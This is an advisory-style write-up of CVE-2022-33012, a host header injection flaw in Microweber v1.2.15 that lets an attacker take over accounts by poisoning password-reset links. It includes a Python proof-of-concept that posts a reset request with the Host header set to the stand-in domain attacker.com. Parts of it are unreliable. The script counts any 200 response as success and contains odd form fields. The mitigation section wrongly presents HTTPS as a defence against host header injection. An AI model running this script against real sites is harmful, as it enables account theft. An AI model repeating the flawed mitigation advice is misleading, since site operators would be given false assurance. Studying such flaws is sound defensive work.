CVE-2022-33012: Account Takeover in Microweber v1.2.15 Using Host Header Injection Attack

Microweber is a popular open-source content management system (CMS) known for its unique drag-and-drop interface that simplifies website creation and management. Unfortunately, a vulnerability was discovered in Microweber v1.2.15, allowing attackers to exploit the host header injection attack for account takeover. Identified as CVE-2022-33012, this critical vulnerability challenges the platform's security and exposes thousands of websites to potential risks.

Host header injection attack

A host header injection attack occurs when an attacker manipulates the HTTP host header to execute various malicious activities on the targeted web server. In this context, the host header injection vulnerability permits an attacker to bypass Microweber's security and take over the victim's account, granting unauthorized access to sensitive information like user credentials, personal data, and website content.

*The code snippet showing how this vulnerability is exploited:*

import requests

target_website = "http://example.com/";
email_address = "victim_email@example.com"

payload = {
    "email": email_address,
    "host": target_website,
    "action": "forgotten_pass"
}

headers = {
    "Host": "attacker.com"
}

response = requests.post(target_website + "api/user/forgotten_pass", data=payload, headers=headers)

if response.status_code == 200:
    print("Host header injection successful. Password reset email sent to", email_address)
else:
    print("Host header injection failed.")

This example script uses Python's requests library to send a POST request teeming with unauthorized host header value. This forgery permits the attacker to reset the user's password and gain access to the account.

Mitigating the vulnerability

Ordinarily, the user password reset process in Microweber sends a recovery email to the registered email address of the victim. The password reset email contains a unique link to reset the password, and this link commonly contains the website domain. By injecting a malicious host header value, attackers can generate password reset links containing their domain, thereby hijacking the whole process.

The official references for this vulnerability are

- CVE-2022-33012
- Microweber GitHub Repository

Until Microweber officially releases a patch, users can implement the following steps to secure their installation:

1. Enable HTTPS: Using HTTPS can provide a first line defense against host header injection attacks by validating the server's domain.
2. Configure the server to only accept trusted host headers: Configure the web server to serve only requests containing trusted and valid host headers.
3. Employ reverse proxies: Utilize reverse proxies or load balancers to filter out malicious requests containing suspicious host header values.

Conclusion

CVE-2022-33012 is a significant security vulnerability in Microweber v1.2.15 that permits attackers to take over user accounts by exploiting the host header injection attack. Users are encouraged to stay updated on the situation, check for official patches and fixes, and apply the steps mentioned above to maintain their website's security.

Timeline

Published on: 11/22/2022 14:15:00 UTC
Last modified on: 11/28/2022 15:16:00 UTC